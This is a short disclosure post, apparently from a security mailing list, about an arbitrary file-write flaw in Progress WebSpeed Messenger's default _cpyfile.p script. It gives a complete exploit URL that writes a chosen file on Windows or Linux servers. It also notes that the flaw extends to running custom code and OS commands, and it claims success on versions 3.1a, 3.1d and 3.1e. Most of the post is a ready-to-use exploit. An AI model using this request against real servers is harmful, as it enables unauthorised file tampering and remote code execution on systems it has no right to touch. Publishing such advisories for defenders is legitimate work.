Progress Webspeed exploit for all releases

[suresync@xxxxxxxxx]

Because of a flaw in _cpyfile.p which is a default installed file it is 
possible to gain full control of a machine running Progress Webspeed Messenger. 
 You can access, change and edit allmost any file on the server running the 
Webspeed Messenger even when the workshop is disabled.

First you have to find the messenger execution url. For example:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1
http://yourmachine.com/scripts/wsisa.dll/WService=wsbroker1

just add the following to the url:
/webutil/_cpyfile.p?options=save,editor&tempFile=dummy.tmp&fileName=C:/root.txt&action=last&section=1&txt0=Test

your url will look like this:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1/webutil/_cpyfile.p?options=save,editor&tempFile=dummy.tmp&fileName=C:/root.txt&action=last&section=1&txt0=Test

When you execute this, the script will generate a file c:/root.txt which 
contains the text Test.
For a Linux host just change the filename=C:/root.txt into 
filename=/tmp/root.txt

_cpyfile.p replaces the file if it allready exist. This is just a simple 
example to create a file root.txt with the text test in it. But it is also 
possible to write your own webspeed code and execute it. And webspeed supports 
OS-Commands so there are multiple ways of exploiting this flaw If tried this on 
webspeed 3.1a , 3.1d and 3.1e everytime it worked.
